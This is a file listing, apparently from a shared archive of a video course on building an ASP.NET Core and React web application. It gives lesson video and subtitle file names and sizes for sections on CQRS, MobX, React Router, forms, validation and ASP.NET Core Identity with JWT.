    25. Walking Skeleton Part 1 - API (Legacy)/14. Section 2 summary.srt 9.14 KB
    25. Walking Skeleton Part 1 - API (Legacy)/2. Creating the ASP.NET Core solutions and projects using the DotNet CLI.mp4 50.31 MB
    25. Walking Skeleton Part 1 - API (Legacy)/2. Creating the ASP.NET Core solutions and projects using the DotNet CLI.srt 10.89 KB
    25. Walking Skeleton Part 1 - API (Legacy)/3. Creating the project references using the DotNet CLI.mp4 42.75 MB
    25. Walking Skeleton Part 1 - API (Legacy)/3. Creating the project references using the DotNet CLI.srt 6.49 KB
    25. Walking Skeleton Part 1 - API (Legacy)/4. Reviewing the Project files.mp4 97.68 MB
    25. Walking Skeleton Part 1 - API (Legacy)/4. Reviewing the Project files.srt 22.05 KB
    25. Walking Skeleton Part 1 - API (Legacy)/5. Running the application.mp4 39.98 MB
    25. Walking Skeleton Part 1 - API (Legacy)/5. Running the application.srt 9.74 KB
    25. Walking Skeleton Part 1 - API (Legacy)/5.1 valuescontroller.txt 1021 B
    25. Walking Skeleton Part 1 - API (Legacy)/6. Creating a Domain entity.mp4 11.1 MB
    25. Walking Skeleton Part 1 - API (Legacy)/6. Creating a Domain entity.srt 3.31 KB
    25. Walking Skeleton Part 1 - API (Legacy)/7. Creating the DbContext and service.mp4 61.75 MB
    25. Walking Skeleton Part 1 - API (Legacy)/7. Creating the DbContext and service.srt 13.2 KB
    25. Walking Skeleton Part 1 - API (Legacy)/8. Adding our first Entity Framework code first migration.mp4 38.57 MB
    25. Walking Skeleton Part 1 - API (Legacy)/8. Adding our first Entity Framework code first migration.srt 8.18 KB
    25. Walking Skeleton Part 1 - API (Legacy)/9. Creating the database.mp4 50.8 MB
    25. Walking Skeleton Part 1 - API (Legacy)/9. Creating the database.srt 8.48 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/1. Section 3 introduction.mp4 8.39 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/1. Section 3 introduction.srt 1.75 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/10. React Class Components.mp4 24.85 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/10. React Class Components.srt 3.83 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/11. Using React State.mp4 37.77 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/11. Using React State.srt 6.19 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/12. Fetching data from the API.mp4 55.19 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/12. Fetching data from the API.srt 8.74 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/13. Adding CORS support to the API.mp4 49.73 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/13. Adding CORS support to the API.srt 6.02 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/14. Adding Semantic UI to our app.mp4 57.35 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/14. Adding Semantic UI to our app.srt 8.77 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/15. Clean up and saving our code to source control.mp4 24.94 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/15. Clean up and saving our code to source control.srt 4.75 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/16. Summary of section 3.mp4 16.86 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/16. Summary of section 3.srt 4.5 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/2. Using create-react-app to create our React application.mp4 30.65 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/2. Using create-react-app to create our React application.srt 5.36 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/3. Reviewing the React project files.mp4 59.81 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/3. Reviewing the React project files.srt 8.72 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/4. Introduction to React - Concepts.mp4 23.5 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/4. Introduction to React - Concepts.srt 6.59 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/5. Introduction to React - Components.mp4 20.91 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/5. Introduction to React - Components.srt 6.34 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/6. Introduction to Typescript.mp4 21.92 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/6. Introduction to Typescript.srt 6.29 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/7. Typescript basics demo.mp4 49.39 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/7. Typescript basics demo.srt 11.44 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/8. Using Typescript with React.mp4 75.14 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/8. Using Typescript with React.srt 13.78 KB
    26. Walking Skeleton Part 2 - Client (Legacy)/9. Adding React dev tools.mp4 34.32 MB
    26. Walking Skeleton Part 2 - Client (Legacy)/9. Adding React dev tools.srt 5.27 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/1. Section 4 introduction.mp4 18.39 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/1. Section 4 introduction.srt 3.55 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/10. Adding the Create handler.mp4 84.74 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/10. Adding the Create handler.srt 13.78 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/11. Dealing with boilerplate code in our handlers.mp4 44.79 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/11. Dealing with boilerplate code in our handlers.srt 6.57 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/12. Adding an Edit handler.mp4 81 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/12. Adding an Edit handler.srt 12.02 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/13. Adding a Delete handler.mp4 60.89 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/13. Adding a Delete handler.srt 8.59 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/14. Summary of section 4.mp4 9.47 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/14. Summary of section 4.srt 2.55 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/2. Adding the Activity entity.mp4 39.17 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/2. Adding the Activity entity.srt 7.28 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/3. Seeding Activity data.mp4 61.79 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/3. Seeding Activity data.srt 10.05 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/4. Commands and Queries - CQRS.mp4 32.16 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/4. Commands and Queries - CQRS.srt 9.29 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/5. Introduction to MediatR.mp4 30.56 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/5. Introduction to MediatR.srt 5.87 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/6. Creating our first Query handler.mp4 37.55 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/6. Creating our first Query handler.srt 8.32 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/7. Creating the Activities API Controller.mp4 64.24 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/7. Creating the Activities API Controller.srt 10.27 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/8. Adding the Details Handler.mp4 44.81 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/8. Adding the Details Handler.srt 8.23 KB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/9. Cancellation Tokens.mp4 78.28 MB
    27. Building a CRUD application in .Net Core using the CQRS + Mediator (Legacy)/9. Cancellation Tokens.srt 11.26 KB
    28. Building a CRUD application in React (Legacy)/1. Section 5 introduction.mp4 28.88 MB
    28. Building a CRUD application in React (Legacy)/1. Section 5 introduction.srt 3.96 KB
    28. Building a CRUD application in React (Legacy)/10. Creating the Activity List.mp4 62.99 MB
    28. Building a CRUD application in React (Legacy)/10. Creating the Activity List.srt 8.55 KB
    28. Building a CRUD application in React (Legacy)/11. Adding the Activity Details component.mp4 34.42 MB
    28. Building a CRUD application in React (Legacy)/11. Adding the Activity Details component.srt 4.98 KB
    28. Building a CRUD application in React (Legacy)/12. Adding the Activity Form component.mp4 27.86 MB
    28. Building a CRUD application in React (Legacy)/12. Adding the Activity Form component.srt 4.95 KB
    28. Building a CRUD application in React (Legacy)/13. Selecting an individual Activity.mp4 109.51 MB
    28. Building a CRUD application in React (Legacy)/13. Selecting an individual Activity.srt 16.25 KB
    28. Building a CRUD application in React (Legacy)/14. Adding an edit mode to display the form.mp4 34.48 MB
    28. Building a CRUD application in React (Legacy)/14. Adding an edit mode to display the form.srt 4.59 KB
    28. Building a CRUD application in React (Legacy)/15. Adding a create activity mode.mp4 66.2 MB
    28. Building a CRUD application in React (Legacy)/15. Adding a create activity mode.srt 8.11 KB
    28. Building a CRUD application in React (Legacy)/16. Initialising the form with data.mp4 60.77 MB
    28. Building a CRUD application in React (Legacy)/16. Initialising the form with data.srt 7.86 KB
    28. Building a CRUD application in React (Legacy)/17. Controlled components in React.mp4 90.28 MB
    28. Building a CRUD application in React (Legacy)/17. Controlled components in React.srt 12.5 KB
    28. Building a CRUD application in React (Legacy)/18. Handling form submission.mp4 109.68 MB
    28. Building a CRUD application in React (Legacy)/18. Handling form submission.srt 16.7 KB
    28. Building a CRUD application in React (Legacy)/19. Fixing issues with the dates in the form.mp4 56.09 MB
    28. Building a CRUD application in React (Legacy)/19. Fixing issues with the dates in the form.srt 8.22 KB
    28. Building a CRUD application in React (Legacy)/2. Introduction to React Hooks.mp4 71.19 MB
    28. Building a CRUD application in React (Legacy)/2. Introduction to React Hooks.srt 9.29 KB
    28. Building a CRUD application in React (Legacy)/20. Adding the delete functionality.mp4 45.55 MB
    28. Building a CRUD application in React (Legacy)/20. Adding the delete functionality.srt 6.22 KB
    28. Building a CRUD application in React (Legacy)/21. Summary of section 5.mp4 14.36 MB
    28. Building a CRUD application in React (Legacy)/21. Summary of section 5.srt 2.03 KB
    28. Building a CRUD application in React (Legacy)/3. Folder structure in React.mp4 34.41 MB
    28. Building a CRUD application in React (Legacy)/3. Folder structure in React.srt 5.81 KB
    28. Building a CRUD application in React (Legacy)/4. Getting a list of activities from the API.mp4 17.04 MB
    28. Building a CRUD application in React (Legacy)/4. Getting a list of activities from the API.srt 2.76 KB
    28. Building a CRUD application in React (Legacy)/5. Adding an Activity interface in Typescript.mp4 54.86 MB
    28. Building a CRUD application in React (Legacy)/5. Adding an Activity interface in Typescript.srt 9.24 KB
    28. Building a CRUD application in React (Legacy)/6. Refactoring our class component to use React Hooks.mp4 88.09 MB
    28. Building a CRUD application in React (Legacy)/6. Refactoring our class component to use React Hooks.srt 13.62 KB
    28. Building a CRUD application in React (Legacy)/7. Adding the Navigation bar.mp4 56.25 MB
    28. Building a CRUD application in React (Legacy)/7. Adding the Navigation bar.srt 9.99 KB
    28. Building a CRUD application in React (Legacy)/8. Styling React components.mp4 46.76 MB
    28. Building a CRUD application in React (Legacy)/8. Styling React components.srt 7.95 KB
    28. Building a CRUD application in React (Legacy)/9. Adding the Activity Dashboard.mp4 33.66 MB
    28. Building a CRUD application in React (Legacy)/9. Adding the Activity Dashboard.srt 6.3 KB
    29 Axios (Legacy)/358 Section 6 introduction.en.srt 4.4 KB
    29 Axios (Legacy)/358 Section 6 introduction.mp4 32.79 MB
    29 Axios (Legacy)/359 Setting up the agent.ts file.en.srt 7.08 KB
    29 Axios (Legacy)/359 Setting up the agent.ts file.mp4 56.96 MB
    29 Axios (Legacy)/360 Listing our activities.en.srt 4.52 KB
    29 Axios (Legacy)/360 Listing our activities.mp4 32.77 MB
    29 Axios (Legacy)/361 Updating an Activity.en.srt 6.52 KB
    29 Axios (Legacy)/361 Updating an Activity.mp4 37.71 MB
    29 Axios (Legacy)/362 Adding a delay to our API methods.en.srt 4.21 KB
    29 Axios (Legacy)/362 Adding a delay to our API methods.mp4 35.47 MB
    29 Axios (Legacy)/363 Adding a loading component.en.srt 5.6 KB
    29 Axios (Legacy)/363 Adding a loading component.mp4 37.82 MB
    29 Axios (Legacy)/364 Adding a loading indicator for submitting data.en.srt 5.75 KB
    29 Axios (Legacy)/364 Adding a loading indicator for submitting data.mp4 45.72 MB
    29 Axios (Legacy)/365 Isolating the loading indicator on the delete button.en.srt 11.1 KB
    29 Axios (Legacy)/365 Isolating the loading indicator on the delete button.mp4 75.97 MB
    29 Axios (Legacy)/366 Summary of section 6.en.srt 1.22 KB
    29 Axios (Legacy)/366 Summary of section 6.mp4 8.79 MB
    3. Walking Skeleton Part 2 - Client/1. Introduction.mp4 19.03 MB
    3. Walking Skeleton Part 2 - Client/1. Introduction.srt 5.33 KB
    3. Walking Skeleton Part 2 - Client/10. Fetching data from the API.mp4 72.31 MB
    3. Walking Skeleton Part 2 - Client/10. Fetching data from the API.srt 13.71 KB
    3. Walking Skeleton Part 2 - Client/11. CORS Policy.mp4 47.01 MB
    3. Walking Skeleton Part 2 - Client/11. CORS Policy.srt 6.71 KB
    3. Walking Skeleton Part 2 - Client/12. Semantic UI React.mp4 88.4 MB
    3. Walking Skeleton Part 2 - Client/12. Semantic UI React.srt 15.4 KB
    3. Walking Skeleton Part 2 - Client/13. Summary of section 3.mp4 35.34 MB
    3. Walking Skeleton Part 2 - Client/13. Summary of section 3.srt 6.98 KB
    3. Walking Skeleton Part 2 - Client/2. Creating the React project.mp4 40.54 MB
    3. Walking Skeleton Part 2 - Client/2. Creating the React project.srt 10.6 KB
    3. Walking Skeleton Part 2 - Client/3. Reviewing the React project files.mp4 84.77 MB
    3. Walking Skeleton Part 2 - Client/3. Reviewing the React project files.srt 14.27 KB
    3. Walking Skeleton Part 2 - Client/4. Why React.mp4 7.05 MB
    3. Walking Skeleton Part 2 - Client/4. Why React.srt 4.02 KB
    3. Walking Skeleton Part 2 - Client/5. React Components.mp4 23.43 MB
    3. Walking Skeleton Part 2 - Client/5. React Components.srt 10.17 KB
    3. Walking Skeleton Part 2 - Client/6. Typescript concepts.mp4 25.51 MB
    3. Walking Skeleton Part 2 - Client/6. Typescript concepts.srt 10.43 KB
    3. Walking Skeleton Part 2 - Client/7. Typescript demo.mp4 52.15 MB
    3. Walking Skeleton Part 2 - Client/7. Typescript demo.srt 15.82 KB
    3. Walking Skeleton Part 2 - Client/8. Using Typescript with React.mp4 84.44 MB
    3. Walking Skeleton Part 2 - Client/8. Using Typescript with React.srt 15.24 KB
    3. Walking Skeleton Part 2 - Client/9. React dev tools.mp4 37.97 MB
    3. Walking Skeleton Part 2 - Client/9. React dev tools.srt 5.16 KB
    30 MobX (Legacy)/367 Section 7 introduction.en.srt 2.53 KB
    30 MobX (Legacy)/367 Section 7 introduction.mp4 30.12 MB
    30 MobX (Legacy)/368 Introduction to MobX.en.srt 13.21 KB
    30 MobX (Legacy)/368 Introduction to MobX.mp4 130.84 MB
    30 MobX (Legacy)/369 Setting up a MobX store.en.srt 11.29 KB
    30 MobX (Legacy)/369 Setting up a MobX store.mp4 71.04 MB
    30 MobX (Legacy)/370 Refactoring the activity list to use the store.en.srt 15.82 KB
    30 MobX (Legacy)/370 Refactoring the activity list to use the store.mp4 102.26 MB
    30 MobX (Legacy)/371 Refactoring the select activity function.en.srt 18.05 KB
    30 MobX (Legacy)/371 Refactoring the select activity function.mp4 129.41 MB
    30 MobX (Legacy)/372 Using Async Await in our methods.en.srt 8.25 KB
    30 MobX (Legacy)/372 Using Async Await in our methods.mp4 52.13 MB
    30 MobX (Legacy)/373 Refactoring the create activity method.en.srt 9.13 KB
    30 MobX (Legacy)/373 Refactoring the create activity method.mp4 75.16 MB
    30 MobX (Legacy)/374 MobX computed properties.en.srt 4.31 KB
    30 MobX (Legacy)/374 MobX computed properties.mp4 30.33 MB
    30 MobX (Legacy)/375 Using an Observable Map.en.srt 5.18 KB
    30 MobX (Legacy)/375 Using an Observable Map.mp4 43.61 MB
    30 MobX (Legacy)/376 Adding the edit activity action.en.srt 12.24 KB
    30 MobX (Legacy)/376 Adding the edit activity action.mp4 107.24 MB
    30 MobX (Legacy)/377 Adding the delete activity action.en.srt 6.66 KB
    30 MobX (Legacy)/377 Adding the delete activity action.mp4 54.13 MB
    30 MobX (Legacy)/378 Cleaning up our code.en.srt 3.35 KB
    30 MobX (Legacy)/378 Cleaning up our code.mp4 27.57 MB
    30 MobX (Legacy)/379 Enabling MobX strict mode.en.srt 11.4 KB
    30 MobX (Legacy)/379 Enabling MobX strict mode.mp4 86.88 MB
    30 MobX (Legacy)/380 Adding MobX dev tools.en.srt 5.68 KB
    30 MobX (Legacy)/380 Adding MobX dev tools.mp4 28.58 MB
    30 MobX (Legacy)/381 Summary of section 7.en.srt 2.67 KB
    30 MobX (Legacy)/381 Summary of section 7.mp4 25.86 MB
    31 React Router (Legacy)/382 Section 8 introduction.en.srt 4.12 KB
    31 React Router (Legacy)/382 Section 8 introduction.mp4 26.27 MB
    31 React Router (Legacy)/383 Setting up React Router.en.srt 5.17 KB
    31 React Router (Legacy)/383 Setting up React Router.mp4 29.17 MB
    31 React Router (Legacy)/384 Setting up our Routes.en.srt 5.71 KB
    31 React Router (Legacy)/384 Setting up our Routes.mp4 34.21 MB
    31 React Router (Legacy)/385 Adding Links and NavLinks.en.srt 5.01 KB
    31 React Router (Legacy)/385 Adding Links and NavLinks.mp4 30.8 MB
    31 React Router (Legacy)/386 Adding the Details link.en.srt 2.61 KB
    31 React Router (Legacy)/386 Adding the Details link.mp4 17.29 MB
    31 React Router (Legacy)/387 Getting an Activity from the API.en.srt 10.55 KB
    31 React Router (Legacy)/387 Getting an Activity from the API.mp4 78.64 MB
    31 React Router (Legacy)/388 Using Route params.en.srt 11.22 KB
    31 React Router (Legacy)/388 Using Route params.mp4 84.4 MB
    31 React Router (Legacy)/389 Navigating via code.en.srt 4.1 KB
    31 React Router (Legacy)/389 Navigating via code.mp4 36.43 MB
    31 React Router (Legacy)/390 Routing to the edit form.en.srt 11.27 KB
    31 React Router (Legacy)/390 Routing to the edit form.mp4 83.82 MB
    31 React Router (Legacy)/391 Using a Fully Uncontrolled Component with a key to reset component state.en.srt 15.1 KB
    31 React Router (Legacy)/391 Using a Fully Uncontrolled Component with a key to reset component state.mp4 103.05 MB
    31 React Router (Legacy)/392 Navigating after submission.en.srt 10.53 KB
    31 React Router (Legacy)/392 Navigating after submission.mp4 81.37 MB
    31 React Router (Legacy)/393 Moving the home page outside of our navigation routes.en.srt 4.61 KB
    31 React Router (Legacy)/393 Moving the home page outside of our navigation routes.mp4 28.48 MB
    31 React Router (Legacy)/394 Scrolling to the top of the page on navigation.en.srt 5.14 KB
    31 React Router (Legacy)/394 Scrolling to the top of the page on navigation.mp4 35.47 MB
    31 React Router (Legacy)/395 More code clean up.en.srt 11.16 KB
    31 React Router (Legacy)/395 More code clean up.mp4 91.56 MB
    31 React Router (Legacy)/396 Summary of section 8.en.srt 861 B
    31 React Router (Legacy)/396 Summary of section 8.mp4 4.72 MB
    32 Adding some style (Legacy)/397 Section 9 introduction.en.srt 2.12 KB
    32 Adding some style (Legacy)/397 Section 9 introduction.mp4 18.1 MB
    32 Adding some style (Legacy)/398 Styling the activity list.en.srt 5.67 KB
    32 Adding some style (Legacy)/398 Styling the activity list.mp4 40.52 MB
    32 Adding some style (Legacy)/399 Grouping activities by date.en.srt 16.99 KB
    32 Adding some style (Legacy)/399 Grouping activities by date.mp4 135.27 MB
    32 Adding some style (Legacy)/400 Styling the activity list items.en.srt 6.1 KB
    32 Adding some style (Legacy)/400 Styling the activity list items.mp4 46.94 MB
    32 Adding some style (Legacy)/401 Creating the Activity Details page.en.srt 3.89 KB
    32 Adding some style (Legacy)/401 Creating the Activity Details page.mp4 29.86 MB
    32 Adding some style (Legacy)/402 Styling the Activity Detailed Page Header.en.srt 9.21 KB
    32 Adding some style (Legacy)/402 Styling the Activity Detailed Page Header.mp4 61.43 MB
    32 Adding some style (Legacy)/403 Styling the Activity Detailed Info.en.srt 2.73 KB
    32 Adding some style (Legacy)/403 Styling the Activity Detailed Info.mp4 22.63 MB
    32 Adding some style (Legacy)/404 Styling the Activity Detailed Chat and Sidebar components.en.srt 3.88 KB
    32 Adding some style (Legacy)/404 Styling the Activity Detailed Chat and Sidebar components.mp4 29.46 MB
    32 Adding some style (Legacy)/405 Styling the Activity Form.en.srt 2.5 KB
    32 Adding some style (Legacy)/405 Styling the Activity Form.mp4 16.36 MB
    32 Adding some style (Legacy)/406 Styling the Home page.en.srt 3.44 KB
    32 Adding some style (Legacy)/406 Styling the Home page.mp4 18.86 MB
    32 Adding some style (Legacy)/407 Section 9 summary.en.srt 900 B
    32 Adding some style (Legacy)/407 Section 9 summary.mp4 7.36 MB
    33 Error handling and validation (Legacy)/408 Section 10 introduction.en.srt 3.71 KB
    33 Error handling and validation (Legacy)/408 Section 10 introduction.mp4 47.61 MB
    33 Error handling and validation (Legacy)/409 Introduction to validation in the API.en.srt 3.65 KB
    33 Error handling and validation (Legacy)/409 Introduction to validation in the API.mp4 45.59 MB
    33 Error handling and validation (Legacy)/410 Adding validation in the API using Data Annotations.en.srt 13.33 KB
    33 Error handling and validation (Legacy)/410 Adding validation in the API using Data Annotations.mp4 88.96 MB
    33 Error handling and validation (Legacy)/411 Adding validation in the API using Fluent Validation.en.srt 17.62 KB
    33 Error handling and validation (Legacy)/411 Adding validation in the API using Fluent Validation.mp4 100.73 MB
    33 Error handling and validation (Legacy)/412 Error handling concepts in our application.en.srt 8.62 KB
    33 Error handling and validation (Legacy)/412 Error handling concepts in our application.mp4 104.93 MB
    33 Error handling and validation (Legacy)/413 Error handling strategy.en.srt 7.37 KB
    33 Error handling and validation (Legacy)/413 Error handling strategy.mp4 40.29 MB
    33 Error handling and validation (Legacy)/414 Creating a derived Exception class for Rest exceptions.en.srt 6.28 KB
    33 Error handling and validation (Legacy)/414 Creating a derived Exception class for Rest exceptions.mp4 41.26 MB
    33 Error handling and validation (Legacy)/415 Adding Error handling middleware.en.srt 9.86 KB
    33 Error handling and validation (Legacy)/415 Adding Error handling middleware.mp4 64.77 MB
    33 Error handling and validation (Legacy)/416 Using our Error handling middleware.en.srt 6.31 KB
    33 Error handling and validation (Legacy)/416 Using our Error handling middleware.mp4 39.4 MB
    33 Error handling and validation (Legacy)/417 Using Axios interceptors to catch errors.en.srt 8.87 KB
    33 Error handling and validation (Legacy)/417 Using Axios interceptors to catch errors.mp4 57.57 MB
    33 Error handling and validation (Legacy)/418 Throwing errors in the client.en.srt 7.27 KB
    33 Error handling and validation (Legacy)/418 Throwing errors in the client.mp4 54.47 MB
    33 Error handling and validation (Legacy)/419 Adding routing functionality to Axios.en.srt 7.1 KB
    33 Error handling and validation (Legacy)/419 Adding routing functionality to Axios.mp4 48.79 MB
    33 Error handling and validation (Legacy)/420 Handling an invalid GUID on a get request.en.srt 5 KB
    33 Error handling and validation (Legacy)/420 Handling an invalid GUID on a get request.mp4 38.44 MB
    33 Error handling and validation (Legacy)/421 Adding toast notifications.en.srt 7.55 KB
    33 Error handling and validation (Legacy)/421 Adding toast notifications.mp4 55.9 MB
    33 Error handling and validation (Legacy)/422 Handling network errors in Axios.en.srt 6.47 KB
    33 Error handling and validation (Legacy)/422 Handling network errors in Axios.mp4 49.61 MB
    33 Error handling and validation (Legacy)/423 Summary of section 10.en.srt 2.28 KB
    33 Error handling and validation (Legacy)/423 Summary of section 10.mp4 27.85 MB
    34 Forms (Legacy)/424 Section 11 introduction.en.srt 4.8 KB
    34 Forms (Legacy)/424 Section 11 introduction.mp4 40.03 MB
    34 Forms (Legacy)/425 Setting up React Final Form.en.srt 10.2 KB
    34 Forms (Legacy)/425 Setting up React Final Form.mp4 70.01 MB
    34 Forms (Legacy)/426 Creating a reusable Text input field.en.srt 8.84 KB
    34 Forms (Legacy)/426 Creating a reusable Text input field.mp4 51.45 MB
    34 Forms (Legacy)/427 Refactoring the form to use React Final Form.en.srt 3.05 KB
    34 Forms (Legacy)/427 Refactoring the form to use React Final Form.mp4 20.23 MB
    34 Forms (Legacy)/428 Creating a reusable Text Area Input field.en.srt 3.95 KB
    34 Forms (Legacy)/428 Creating a reusable Text Area Input field.mp4 31.09 MB
    34 Forms (Legacy)/429 Creating a reusable Select input field.en.srt 7.04 KB
    34 Forms (Legacy)/429 Creating a reusable Select input field.mp4 45.24 MB
    34 Forms (Legacy)/430 Setting up React Widgets.en.srt 12.16 KB
    34 Forms (Legacy)/430 Setting up React Widgets.mp4 77.5 MB
    34 Forms (Legacy)/431 Creating a reusable Date Input field.en.srt 12.35 KB
    34 Forms (Legacy)/431 Creating a reusable Date Input field.mp4 78.59 MB
    34 Forms (Legacy)/432 Formatting the dates using Date-FNS.en.srt 11.38 KB
    34 Forms (Legacy)/432 Formatting the dates using Date-FNS.mp4 92.3 MB
    34 Forms (Legacy)/433 Creating separate Date and Time fields.en.srt 11.31 KB
    34 Forms (Legacy)/433 Creating separate Date and Time fields.mp4 77.7 MB
    34 Forms (Legacy)/434 Combining Date and Time inputs.en.srt 8.41 KB
    34 Forms (Legacy)/434 Combining Date and Time inputs.mp4 53.93 MB
    34 Forms (Legacy)/435 Initialising the form with data.en.srt 17.26 KB
    34 Forms (Legacy)/435 Initialising the form with data.mp4 123.32 MB
    34 Forms (Legacy)/436 Submitting data to the server.en.srt 10.76 KB
    34 Forms (Legacy)/436 Submitting data to the server.mp4 82.2 MB
    34 Forms (Legacy)/437 Form error handling.en.srt 5.93 KB
    34 Forms (Legacy)/437 Form error handling.mp4 39.69 MB
    34 Forms (Legacy)/438 Form validation.en.srt 15.27 KB
    34 Forms (Legacy)/438 Form validation.mp4 117.82 MB
    34 Forms (Legacy)/439 Summary of section 11.en.srt 2.43 KB
    34 Forms (Legacy)/439 Summary of section 11.mp4 24.54 MB
    35 ASP.NET Core Identity (Legacy)/440 Section 12 introduction.en.srt 3.44 KB
    35 ASP.NET Core Identity (Legacy)/440 Section 12 introduction.mp4 37.38 MB
    35 ASP.NET Core Identity (Legacy)/441 Introduction to ASP.NET Core Identity.en.srt 7.76 KB
    35 ASP.NET Core Identity (Legacy)/441 Introduction to ASP.NET Core Identity.mp4 84.18 MB
    35 ASP.NET Core Identity (Legacy)/442 Adding the Identity User Entity.en.srt 10.04 KB
    35 ASP.NET Core Identity (Legacy)/442 Adding the Identity User Entity.mp4 62.48 MB
    35 ASP.NET Core Identity (Legacy)/443 Configuring Identity in our startup class.en.srt 6.63 KB
    35 ASP.NET Core Identity (Legacy)/443 Configuring Identity in our startup class.mp4 43.74 MB
    35 ASP.NET Core Identity (Legacy)/444 Seeding users to the database.en.srt 11.71 KB
    35 ASP.NET Core Identity (Legacy)/444 Seeding users to the database.mp4 75.01 MB
    35 ASP.NET Core Identity (Legacy)/445 Adding a Login Handler.en.srt 9.08 KB
    35 ASP.NET Core Identity (Legacy)/445 Adding a Login Handler.mp4 57.9 MB
    35 ASP.NET Core Identity (Legacy)/446 Adding a Base API controller.en.srt 5.76 KB
    35 ASP.NET Core Identity (Legacy)/446 Adding a Base API controller.mp4 38.36 MB
    35 ASP.NET Core Identity (Legacy)/447 Adding a User API controller.en.srt 6.72 KB
    35 ASP.NET Core Identity (Legacy)/447 Adding a User API controller.mp4 37.89 MB
    35 ASP.NET Core Identity (Legacy)/448 Adding a User object.en.srt 4.81 KB
    35 ASP.NET Core Identity (Legacy)/448 Adding a User object.mp4 32 MB
    35 ASP.NET Core Identity (Legacy)/449 JSON Web Tokens introduction.en.srt 9.8 KB
    35 ASP.NET Core Identity (Legacy)/449 JSON Web Tokens introduction.mp4 72.52 MB
    35 ASP.NET Core Identity (Legacy)/450 Adding the Infrastructure project.en.srt 3.58 KB
    35 ASP.NET Core Identity (Legacy)/450 Adding the Infrastructure project.mp4 15.31 MB
    35 ASP.NET Core Identity (Legacy)/451 Adding the JWT Generator interface and class.en.srt 4.08 KB
    35 ASP.NET Core Identity (Legacy)/451 Adding the JWT Generator interface and class.mp4 28.27 MB
    35 ASP.NET Core Identity (Legacy)/452 Generating a JWT Token.en.srt 10.64 KB
    35 ASP.NET Core Identity (Legacy)/452 Generating a JWT Token.mp4 71.95 MB
    35 ASP.NET Core Identity (Legacy)/453 Returning the JWT Token on successful login.en.srt 6.87 KB
    35 ASP.NET Core Identity (Legacy)/453 Returning the JWT Token on successful login.mp4 41.96 MB
    35 ASP.NET Core Identity (Legacy)/454 Securing our app with Authorization.en.srt 11.16 KB
    35 ASP.NET Core Identity (Legacy)/454 Securing our app with Authorization.mp4 78.15 MB
    35 ASP.NET Core Identity (Legacy)/455 Dotnet user secrets.en.srt 9.73 KB
    35 ASP.NET Core Identity (Legacy)/455 Dotnet user secrets.mp4 68.09 MB
    35 ASP.NET Core Identity (Legacy)/456 Adding an authorisation policy.en.srt 3.71 KB
    35 ASP.NET Core Identity (Legacy)/456 Adding an authorisation policy.mp4 28.82 MB
    35 ASP.NET Core Identity (Legacy)/457 Adding a Register Handler.en.srt 11.76 KB
    35 ASP.NET Core Identity (Legacy)/457 Adding a Register Handler.mp4 78.07 MB
    35 ASP.NET Core Identity (Legacy)/458 Testing user registration.en.srt 6.55 KB
    35 ASP.NET Core Identity (Legacy)/458 Testing user registration.mp4 38.21 MB
    35 ASP.NET Core Identity (Legacy)/459 Adding a Fluent Validator extension for password validation.en.srt 8.98 KB
